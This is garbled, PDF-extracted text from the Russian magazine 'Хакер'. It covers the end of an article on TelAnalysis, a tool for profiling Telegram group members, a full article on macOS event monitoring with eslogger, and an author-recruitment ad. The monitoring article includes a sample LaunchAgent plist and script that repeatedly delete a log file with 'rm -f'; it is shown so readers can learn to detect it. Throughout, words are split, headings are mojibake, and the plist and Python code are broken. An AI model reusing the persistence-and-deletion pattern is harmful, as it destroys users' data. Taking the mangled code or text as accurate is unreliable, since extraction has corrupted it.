отдель ного поль зовате ля, что бы понять, кто чем инте ресу ется.

Выг лядит интерфейс это го замеча тель ного инс тру мен та нем ного не так,
как у всех пре дыду щих: в кон соли у него оби тает толь ко сам сер вер, а вза- 
имо дей ствие с поль зовате лем устро ено через бра узер.

Ста вим TelAnalysis тра дици онным спо собом и запус каем файл :main.py

git clone https://github.com/krakodjaba/TelAnalysis.git 
cd TelAnalysis 
pip  install -r requirements.txt 
python3 main.py 

Кон соль ный интерфейс край не минима лис тичный

В кон соль скрипт вып люнет толь ко ссыл ку на панель управле ния. Если перей- 
ти по ней, в бра узе ре откро ется минима лис тичный интерфейс. Дос таточ но
заг рузить в него JSON-дамп чата, который ты хочешь про ана лизи ровать.

Веб-интерфейс тоже не перег ружен

Соз дать сам JSON-дамп край не прос то: заходишь в офи циаль ный кли ент
Telegram, находишь инте ресу ющий тебя чат, жмешь тро ето чие в пра вом вер-
хнем углу и выбира ешь «Экспорт исто рии». В нас трой ках экспор та (на скрин- 
шоте ниже) выбира ешь фор мат JSON и путь для сох ранения. Экспор тировать
фай лы, кар тинки и твои любимые голосо вые не нуж но — TelAnalysis при нима- 
ет толь ко текст, так что на осталь ное ты толь ко зря пот ратишь вре мя.

Нас трой ки экспор та

Те перь сох раня ем экспор тирован ный файл в удоб ном мес те и заг ружа ем его
в панель.

Спи сок поль зовате лей показы вает, кто и сколь ко написал в груп пе, а еще
содер жит ID, что бы мож но было отсле живать сооб щения одно го и того же
челове ка, даже если он поменя ет ник.

Ко личес тво сооб щений каж дого учас тни ка груп пы

Граф выг лядит не супер, но свя зи меж ду поль зовате лями вид ны.

Граф свя зей меж ду поль зовате лями

Сге нери руем теперь обла ко тегов. Тоже выг лядит не очень, в пер вую оче редь
потому, что слу жеб ные сло ва не уда лены. Впро чем, это лег ко испра вить. Если
соберешь ся, не забудь отпра вить авто ру пул-рек вест.

Об лако тегов

Пос ледняя фун кция — показ сооб щений по ID поль зовате ля. Лич но я пока
не нашел это му при мене ния, ведь в Telegram есть более удоб ный поиск
по отпра вите лю.

ÂÛÂÎÄÛ

Рас смот ренные сегод ня инс тру мен ты, конеч но, не единс твен ные в сво ем
роде, и воз можно, что ты зна ешь тул зы еще луч ше и полез нее. В таком слу чае
не стес няй ся закинуть ссы лоч ку нам на поч ту (кон такты — ниже) или пиши
в ком мента риях. Любой фид бэк будет цен ным, а там, гля дишь, насоби раем
еще на один выпуск такой под борки.

https://xakep.ru/2022/07/18/telegram-parsing/%C2%BB
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АДМИН

Мож но бес конеч но наб людать за тре мя
вещами: горящим огнем, текущей водой
и событи ями в опе раци онной сис теме.
И если в Windows средс тва монито рин га
и жур налиро вания уже хорошо изу чены
поль зовате лями и сис темны ми адми нис- 
тра тора ми, то в macOS с этим не все так
прос то. Сегод ня мы погово рим о бес плат- 
ных инс тру мен тах отсле жива ния событий
в «маке» и их прак тичес ком при мене нии.

Как мы при вык ли к событи ям Windows… С ними все понят но, в сети дос тупно
огромное количес тво матери алов о нас трой ке цен тра лизо ван ного сбо ра
событий с исполь зовани ем Windows Event Forwarding. Мно гие гай ды пред- 
лага ют пошаго вые инс трук ции с отве тами на воп росы из серии «Сколь ко WEC
(Windows Event Collector) нуж но для пар ка в 4000 машин?».

Од нако край не мало вни мания уде ляет ся компь юте рам на базе macOS.
При чины оче вид ны: нем ногие орга низа ции сей час готовы закупать «маки»
для сво их сот рудни ков. Это дорого, непонят но, как эти машины адми нис три- 
ровать, воз ника ет ворох проб лем с сов мести мостью. Кро ме того, на рын ке
дос тупно не так мно го спе циалис тов, которые зна ют, как обуз дать эту опе- 
раци онную сис тему и как обе зопа сить ее, ведь для macOS так же сущес тву ют
угро зы. Одна ко решение проб лемы с монито рин гом есть, и оно уже встро ено
в сис тему, начиная с вер сии 10.15 Catalina.

ÑÏÎÑÎÁÛ ÌÎÍÈÒÎÐÈÍÃÀ

Все го сущес тву ет три спо соба монито рин га событий в macOS:
1. Ком мерчес кий EDR.
2. Osquery.
3. Eslogger (ESF).

О пос леднем мы и погово рим, попытав шись разоб рать ся, как устро ен этот
инс тру мент.

Ра нее для монито рин га событий в macOS исполь- 
зовалась под систе ма ауди та OpenBSM. Она была
раз работа на ком пани ей McAfee Research
по инди виду аль ному заказу Apple в 2004 году.
Поз днее исходный код переда ли в TrustedBSD
для нужд комь юни ти. Этот инс тру мент был убран
из macOS в вер сии Big Sur и боль ше не под- 
держи вает ся.

Endpoint Security Framework (ESF) — это натив ный ком понент macOS, который
слу жит для про активно го поис ка событий и реаги рова ния на них. Инс тру мент
поз воля ет под писывать ся на события Notication и Authorization. Прин цип его
работы мож но срав нить с Event Tracing For Windows (ETW). Он поз воля ет
прос матри вать низ коуров невые события, свя зан ные с про цес сами, фай лами,
нем ного с сетью и памятью, а так же мно го чего еще!

ÊÀÊ ÝÒÎ ÐÀÁÎÒÀÅÒ?

Рань ше, если какая-то ком пания бра лась за раз работ ку решения Endpoint
Security, ей при ходи лось делать так называ емое Kernel Extension (модуль
для ядра). При мера ми таких решений слу жат OpenBSM, Kauth KPI, MAC
Framework. Решения на базе Kernel Extension было тяжело раз рабаты вать
и под держи вать. Нез начитель ные баги мог ли при вес ти к kernel panic,
а несовер шенный код про бивал новые дыр ки в безопас ности macOS.

В Apple это прек расно понима ли и поэто му в 2019 году (луч ше поз дно, чем
никог да) замени ли Kernel Extensions, которые работа ли в прос транс тве ядра,
System Extensions, которые работа ют в поль зователь ском прос транс тве.
Теперь у раз работ чиков раз вязаны руки. Все ста ло гораз до удоб нее.

Хо тя Kernel Extensions уже уста рели, они все
еще могут исполь зовать ся в сов ремен ных
macOS — но с ого вор кой, что про филь безопас- 
ности сис темы дол жен быть силь но сни жен.
Добить ся это го быва ет очень слож но, и обыч но
это дела ется исклю читель но в целях раз работ ки.
Если про изво дите ли не заменят кек сты сис- 
темны ми рас ширени ями, они могут пос тавить
под угро зу безопас ность сис тем сво их кли ентов.

Àêòóàëüíàÿ ñõåìà ðàáîòû Endpoint Security
Су щес тву ет два типа событий:  и . Они оба пре- 

дос тавля ют оди нако вую информа цию, но меж ду ними все же есть раз ница.

Notification Authorization

 — этот тип нужен для информи рова ния об активнос ти. При- 

мер: запуск бинаря.

• Notification

 — этот тип нужен для бло киро вания активнос ти. При мер:
при нас тупле нии события ядро сту чит ся в System Extension анти вирус ного
ПО для про вер ки, мож но ли запус кать про цесс. Если отве та нет, то про- 
цесс при бива ется на мес те, так и не запус тившись в поль зователь ском
прос транс тве.

• Authorization

Схе ма работы Endpoint Security

Су щес тву ет огромное количес тво событий, на которые мож но под писать ся,
что бы получать информа цию о том, что про исхо дит в сис теме в реаль ном
вре мени.

На сай те для раз работ чиков Apple есть  с опи сани- 
ем, какую информа цию содер жит каж дое из них.

пол ный спи сок событий

RED CANARY MAC MONITOR

Од на из нем ногих ком паний, которая занима ется в том чис ле и безопас- 
ностью macOS, — Red Canary. В мае 2023 года она выпус тила ути литу
под наз вани ем Mac Monitor. Эта прог рамма отлично подой дет для демонс- 
тра ции того, как вооб ще выг лядят события ESF и как с ними мож но работать.
Так же она будет очень полез на тем, кто про водит live response в сис теме.

В нас трой ках мож но уста новить филь тры и под писки на кон крет ные типы
событий.

Mac Monitor

Так выг лядит событие запус ка коман ды  пос ле пар синга.curl

Тут мы можем уви деть события, которые отно сят ся к глав ному событию.

А вот про цесс-ини циали затор.

Со бытие запус ка коман ды  в сыром виде.curl

Заг рузить ути литу мож но по .ссыл ке с GitHub

Òîëüêî äëÿ live response
Для реали зации пол ноцен ного монито рин га Red Canary Mac Monitor нам
не подой дет по сле дующим при чинам:
1. Это при ложе ние при дет ся рас катывать по всем сис темам.
2. Ха кер может лег ко при бить этот про цесс.
3. Его, как при ложе ние, проб лематич но замас кировать и пос тавить в бэк гра- 

унд.
4. Ути лита собира ет далеко не все типы событий и мно гое упус кает из виду.

Сле дующий инс тру мент — хорошая бес плат ная аль тер натива вен дор ско му
EDR. Ска жу по сек рету, ком мерчес кие EDR под капотом поголов но исполь- 
зуют ESF.

ÍÓ È ÊÀÊ ÆÅ ÌÎÍÈÒÎÐÈÒÜ?

Пе рей дем к натив ным средс твам. Ути литы вро де Red Canary Mac Monitor
исполь зуют Endpoint Security API и дела ют упор на визу али зацию и кра соту.
Решение, которое мы зап ряжем в наш SOC, ори енти рует ся на натив ность,
пол ноту и безопас ность.

Это eslogger, ути лита коман дной стро ки, она пре дос тавля ет пря мой дос туп
непос редс твен но к генери руемым ядром событи ям и пос тавля ется со все ми
вер сиями macOS выше Ventura. Эта кий поис ковик сре ди событий.

Плю сы eslogger:
уже есть на каж дой macOS Ventura;•
не гру зит сис тему при исполь зовании;•
вы дает лог в тек сто вом фор мате, а не бинар ном;•
да ет отличную видимость активнос ти.•

Сна чала мы пос мотрим спи сок событий, на которые мож но под писать ся:

sudo eslogger --list-events

Эта коман да выведет нам вну шитель ный спи сок. При веду при меры:

Íàç âàíèå Ïîë íîå íàç âàíèå Ôóí êöèè

create es_event_create_t Соз дание фай ла

open es_event_open_t От кры тие фай ла

write es_event_write_t За пись в файл

unlink es_event_unlink_t Уда ление фай ла

utimes es_event_utimes_t
Из менение парамет ров 
access time 
и modication time фай ла

exec es_event_exec_t За пуск про цес са

uipc_connect
es_event_uipc_connect
_t

Под клю чение через сокет

kextload es_event_kextload_t Заг рузка Kernel Extension

btm_launch_item_a
dd

btm_launch_item_add
Соз дание нового 
объ екта вхо да (Launch
Item)

ÏÐÀÊÒÈÊÀ

Пе реве дем наши упражне ния в прак тичес кую плос кость и при меним их
для решения кон крет ной задачи. В дирек тории  лежит файл 

. Туда записы вают ся чрез вычай но важ ные дан ные.

Logs xakep.ru-
2023.log

На компь ютер Mac попал надо едли вый вре донос ный скрипт, который про- 
писал ся как задача в  и пос тоян но, каж дые пять

минут, уда ляет лог, который лежит в дирек тории . Надо ел уже!

/Library/LaunchAgents/
Logs

Файл задачи с рас ширени ем  выг лядит так:.plist

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.
apple.com/DTDs/PropertyList-1.0.dtd">

 <plist version="1.0">
<dict>
   Label<key> </key>
   <string>com.hacker.annoying.task</string>
   <key>ProgramArguments</key>
   <array>
   <string>/bin/sh</string>
       <string>/Users/tofolt/Downloads/DeleteLogFile.sh</string>
   </array>
   <key>StartInterval</key>
   300<integer> </integer>
</dict>
</plist>

А сам скрипт так:

  rm -f "/Users/tofolt/Logs/xakep.ru-2023.log"

Что бы отло вить этот скрипт, нам понадо бит ся сле дующая коман да :eslogger

open sudo eslogger exec unlink btm_launch_item_add >> result.json 

Пред положим, что у нас уже писались логи в момент зараже ния. Нам не сос- 
тавит тру да най ти событие добав ления скрип та в авто запуск. Боль шая часть
события была отбро шена, оставле ны толь ко глав ные стро ки. В ори гиналь ных
событи ях мно го информа тив ных полей, в том чис ле и очень полез ных для свя- 
зыва ния событий друг с дру гом ( ):btm_launch_item_add

{
  "event": {
    "btm_launch_item_add": {

      "executable_path": "/bin/sh",
      "instigator": {
        "signing_id": "com.apple.xpc.smd",

        "ppid": 1,
        "tty": null,

        "start_time": "2023-07-09T10:17:55.546995Z",
     },

      "item": {
        "item_url": "file:///Library/LaunchAgents/com.hacker.

annoying.task.plist",
     }
   }
 },
  "time": "2023-07-09T14:08:03.326637707Z",
}

Да лее мы най дем момент запус ка скрип та ( ):exec

{
  "event": {
    "exec": {

      "script": {
        "path": "/Users/tofolt/Downloads/DeleteLogFile.sh",

     },
        "executable": {

          "path": "/bin/sh",
       },

        "start_time": "2023-07-09T14:33:56.804354Z",
        "is_platform_binary": true,

        "group_id": 22017,
        "audit_token": {

          "asid": 100005,
          "pidversion": 49567,

          "ruid": 503,
          "euid": 503,
          "rgid": 20,
          "auid": 503,
          "egid": 20,
          "pid": 22017

       },
     },

      "args": [
       "/bin/sh",
       "/Users/tofolt/Downloads/DeleteLogFile.sh"
     ],
 },
  "time": "2023-07-09T14:33:56.814464013Z",
  "action": {
    "result": {

      "result": {
        "auth": 0

     },
      "result_type": 0

   }
 }

Фи наль ный аккорд. Событие уда ления фай ла  ( ).xakep.ru-2023.log unlink

{
  "event": {
    "unlink": {

      "target": {
        "path": "/Users/tofolt/Logs/xakep.ru-2023.log",

     },
      "parent_dir": {

        "path": "/Users/tofolt/Logs",
     }
   }
 },
  "time": "2023-07-09T14:34:57.713064962Z",
    "executable": {

      "path": "/bin/rm",
   },
    "ppid": 22069,
   },
    "start_time": "2023-07-09T14:34:57.704093Z",
}

В общем, при наличии логов отыс кать тре буемое событие и получить све- 
дения о нем доволь но прос то.

KILL THEM ALL

Как обе зопа сить ся от того, что хакер прос то прибь ет про цесс eslogger
коман дой ?kill

Нап ример, мож но соз дать новую учет ку на компь юте ре и наз вать ее с ниж- 
ним под черки вани ем , добавить при виле гии, что бы обыч ный поль- 

зователь не мог при бить про цес сы, запущен ные от ее име ни. Ожи дает ся, что
хакер, ког да захочет узнать всех поль зовате лей в сис теме, отфиль тру ет
вывод, уби рая записи с ниж ними под черки вани ями, потому что так называ- 
ются сис темные учет ки для внут ренне го фун кци они рова ния сис темы. А даже
если он выведет все учет ные записи,  замас киру ется под пакет ный

менед жер, который сто ит поч ти на каж дом «маке» прог раммис та. Таким
обра зом мы и защитим ся от коман ды .

_brew

_brew

kill
Ну или вто рой вари ант — наз вать . Это объ яснит столь

высокие сис темные пол номочия у учет ки.
_ftp_server

ÈÑÏÎËÜÇÎÂÀÍÈÅ Â ÈÍÔÐÀÑÒÐÓÊÒÓÐÅ

Как все это раз ворачи вать?
Кон крет ную пошаго вую инс трук цию выдать не получит ся прос то потому,

что у всех раз ные инфраструк туры и очень по-раз ному адми нис три руют ся
«маки», но под кинуть пару идей я могу.
1. У тебя навер няка есть ПО для управле ния Mac по типу Jamf Pro. Ты

можешь соз дать зап ланиро ван ную задачу, запус кающую скрипт пересыл- 
ки дан ных из фай ла соб ранных логов.

2. Ес ли у тебя есть какой-то агент на компь юте рах, то про верь, не может ли
он собирать допол нитель но и файл логов.

3. Обя затель но нуж но нас тро ить ротацию фай ла с логом, что бы пос ле
пересыл ки, нап ример, в SIEM, он чис тился, ина че он может доволь но быс- 
тро вырас ти до сущес твен ных раз меров.

В eslogger может воз никнуть проб лема бутылоч ного гор лышка, если под- 
писать инс тру мент на слиш ком боль шое количес тво событий. Все они прос то
не будут успе вать сох ранять ся в жур нал. В интерне те опи сыва ют эту проб- 
лему и рас ска зыва ют, как ее лечить.

Ка кова наг рузка на сис тему? Нез начитель ная. Одна ко EPS может быть
боль шим, если дол жным обра зом не нас тро ить филь тра цию событий.

На поми наю, что решение бес плат ное и всех удобств «из короб ки»
не гаран тиру ет. Филь тра ция тут обя затель на.

ÍÎÐÌÀËÈÇÀÖÈß È ÔÈËÜÒÐÀÖÈß

Сра зу уточ ню, что пред ложен ный ниже вари ант лишь вари ация на тему «как
это мож но делать». Итак, для нор мализа ции будем исполь зовать инс тру мент
под наз вани ем . Для филь тра ции возь мем дру гой инс тру мент — .fx jq

При ведем JSON в нор маль ный вид с помощью скрип та на Python 3:

 import sys
   out: str = "["
  lines = sys.stdin.readlines()

    for index, line in enumerate(lines):
   if index == len(lines)-1:

          out += "{}".format(line)
else:

           out += "{}{}".format(line, ",")
  out += "]"

print(out)

На пол ненный логами файл мы про гоним через наш нор мализа тор:

 cat eslogger_output.json | ./normalizer.py | fx . > better_eslogger_
output.json 

Нор мализо ван ный файл теперь необ ходимо отфиль тро вать. Я, нап ример,
исклю чу все события, свя зан ные с про цес сом Finder:

 
cat better_eslogger_output.json | jq '[.[] | select(.process.
signing_id == "com.apple.finder" )]' > eslogger_final.json 

Под ска жу пути, которые мож но (точ но так же, как и Finder) исклю чить из зах- 
вата через eslogger, что бы не соз давать мусор. Мно гие из путей могут
показать ся важ ными для монито рин га. Одна ко в 2015 году Apple добави ла
механизм System Integrity Protection (SIP), а поз же, в 2019-м, раз делила диск
на защищен ный и незащи щен ный раз делы. SIP пре дох раня ет сис темные кри- 
тичес ки важ ные дирек тории от вме шатель ства, и поэто му зло умыш ленник
не смо жет ничего изме нить в них, если толь ко ты не отклю чил SIP вруч ную.
Поэто му и монито рить их не нуж но. Най ти спи сок путей для исклю чения мож- 
но в .мо ем репози тории

ÂÛÂÎÄÛ

Мы рас смот рели работу ESF, узна ли о решени ях, которые дают дос туп к низ- 
коуров невым событи ям в сис теме, а так же об осо бен ностях работы с ними.
Хоть ути лита eslogger и клас сная, но она не лишена недос татков. При ходит ся
при менять зап латки, что бы это зарабо тало в мас шта бах SOC, но зато
eslogger не тре бует денег и не усту пает в 90% слу чаев ком мерчес ким EDR-
решени ям (видимость сетевых под клю чений там, конеч но, гораз до луч ше).

mailto:tofolt@icloud.com
https://developer.apple.com/documentation/endpointsecurity/event_types
https://github.com/redcanaryco/mac-monitor/releases
https://github.com/antonmedv/fx
https://stedolan.github.io/jq/
https://github.com/Tofolt/macOS-Monitoring-Path-Mute/blob/main/README.md


«Хакеру» нуж ны новые авто ры, и ты можешь стать одним
из них! Если тебе инте рес но то, о чем мы пишем, и есть
желание иссле довать эти темы вмес те с нами, то не упус ти
воз можность всту пить в ряды наших авто ров и получать
за это все, что им при чита ется.

 Раз мер зависит
от слож ности и уни каль нос ти темы и объ ема про делан ной работы (но
не от объ ема тек ста).

• Àâ òîðû ïîëó÷à þò äåíåæ íîå âîç íàãðàæ äåíèå.

: каж дая опуб ликован ная
статья при носит месяц под писки и зна читель но уве личи вает лич ную скид- 
ку. Уже пос ле треть его раза под писка ста нет бес плат ной нав сегда.

• Íà øè àâòî ðû ÷èòà þò «Õàêåð» áåñ ïëàò íî

Кро ме того, 
. А еще мы пла ниру ем запуск

англо языч ной вер сии, так что 
.

íà ëè÷èå ïóá ëèêàöèé — ýòî îòëè÷íûé ñïî ñîá ïîêàçàòü

ðàáîòî äàòå ëþ è êîë ëåãàì, ÷òî òû â òåìå

ó òåáÿ áóäåò øàíñ áûòü óçíàííûì è çà

ðóáåæîì

И конеч но, 
. На сай те ты можешь сам запол нить харак терис тику, пос тавить фото,

написать что-то о себе, добавить ссыл ку на сайт и про фили в соц сетях. Или,
наобо рот, не делать это го в целях кон спи рации.

ìû âñåã äà óêà çûâà åì â ñòàòü ÿõ èìÿ èëè ïñåâ äîíèì

àâòî ðà

ß ÒÅÕÍÀÐÜ, À ÍÅ ÆÓÐÍÀËÈÑÒ. ÏÎËÓ×ÈÒÑß ËÈ Ó ÌÅÍß ÍÀÏÈÑÀÒÜ
ÑÒÀÒÜÞ?
Глав ное в нашем деле — зна ния по теме, а не короч ки жур налис та. Зна ешь
тему — зна чит, и написать смо жешь. Не уме ешь — поможем, будешь сом- 
невать ся — под держим, накося чишь — отре дак тиру ем. Не зря у нас работа ет
столь ко редак торов! Они не толь ко пра вят бук вы, но и помога ют с темами
и фор матом и «при чесы вают» автор ский текст, если в этом есть необ- 
ходимость. И конеч но, перед пуб ликаци ей мы сог ласу ем с авто ром все прав- 
ки и вно сим новые, если нуж но.

ÊÀÊ ÏÐÈÄÓÌÀÒÜ ÒÅÌÓ?
Те мы для ста тей — дело неп ростое, но и не такое слож ное, как может
показать ся. Сто ит начать, и ты навер няка будешь при думы вать темы одну
за дру гой!

Пер вым делом задай себе нес коль ко прос тых воп росов:

Час тый слу чай: люди дела ют что-то пот ряса ющее, но счи тают свое
занятие впол не обы ден ным. Если твоя мама и девуш ка не хотят слу шать
про реверс мал вари, сбор ку ядра Linux, про екти рова ние мик ропро цес- 
соров или хра нение дан ных в ДНК, это не зна чит, что у тебя не най дет ся
бла годар ных читате лей.

• «Ðàç áèðà þñü ëè ÿ â ÷åì‑òî, ÷òî ìîæåò çàèí òåðåñî âàòü äðó ãèõ?»

 Если
ты ресер чишь, баг хантишь, реша ешь crackme или задач ки на CTF, если ты
раз рабаты ваешь что-то необыч ное или даже прос то нас тро ил себе
какую-то удоб ную шту кови ну, обя затель но рас ска жи нам! Мы вмес те при- 
дума ем, как луч ше подать твои наработ ки.

• «Áûëè ëè ó ìåíÿ â ïîñ ëåäíåå âðå ìÿ èíòå ðåñ íûå ïðî åêòû?»

Поп робуй вспом нить: если ты бук валь но недав но рас ска зывал кому-то
о чем-то очень важ ном или зах ватыва ющем (и свя зан ным с ИБ или ИТ), то
с немалой веро ятностью это может быть неп лохой темой для статьи.
Или как минимум натол кнет тебя на тему.

• «Çíàþ ëè ÿ êàêóþ‑òî èñòî ðèþ, êîòîðàÿ êàæåò ñÿ ìíå êðó òîé?»

 Если
мы о чем-то не писали, это мог ло быть не умыш ленно. Воз можно, прос то
никому не приш ла в голову эта тема или не было челове ка, который
взял бы ее на себя. Кста ти, даже если писать сам ты не собира ешь ся, под- 
кинуть нам идею все рав но мож но.

• «Íå ïîä ìå÷àë ëè ÿ, ÷òî â Õàêåðå óïóñ òèëè ÷òî‑òî âàæ íîå?»

Óãî âîðè ëè, êàêîâ ïëàí äåé ñòâèé?
1. При думы ваешь акту аль ную тему или нес коль ко.
2. Опи сыва ешь эту тему так, что бы было понят но, что будет в статье и зачем

ее кому-то читать. Обыч но дос таточ но рабоче го заголов ка и нес коль ких
пред ложений (pro tip: их потом мож но пус тить на вве дение).

3.  и отправ ляешь ему свои темы (мож но глав реду —
он раз берет ся). Заод но неп лохо быва ет пред ста вить ся и написать пару
слов о себе.

Вы бира ешь редак тора

4. С редак тором сог ласу ете детали и сро ки сда чи чер новика. Так же он выда- 
ет тебе пра вила офор мле ния и отве чает на все инте ресу ющие воп росы.

5. Пи шешь статью в срок и отправ ляешь ее. Если воз ника ют какие-то проб- 
лемы, сом нения или прос то задер жки, ты зна ешь, к кому обра щать ся.

6. Ре дак тор чита ет статью, при нима ет ее или воз вра щает с прось бой
дорабо тать и руководс твом к дей ствию.

7. Пе ред пуб ликаци ей получа ешь вер сию с прав ками и обсужда ешь их
с редак тором (или прос то даешь доб ро).

8. До жида ешь ся выхода статьи и пос тупле ния воз награж дения.

Ес ли хочешь пуб ликовать ся в «Хакере», при думай тему для пер вой статьи
и пред ложи .ре дак ции

https://xakep.ru/contact/
https://xakep.ru/contact/
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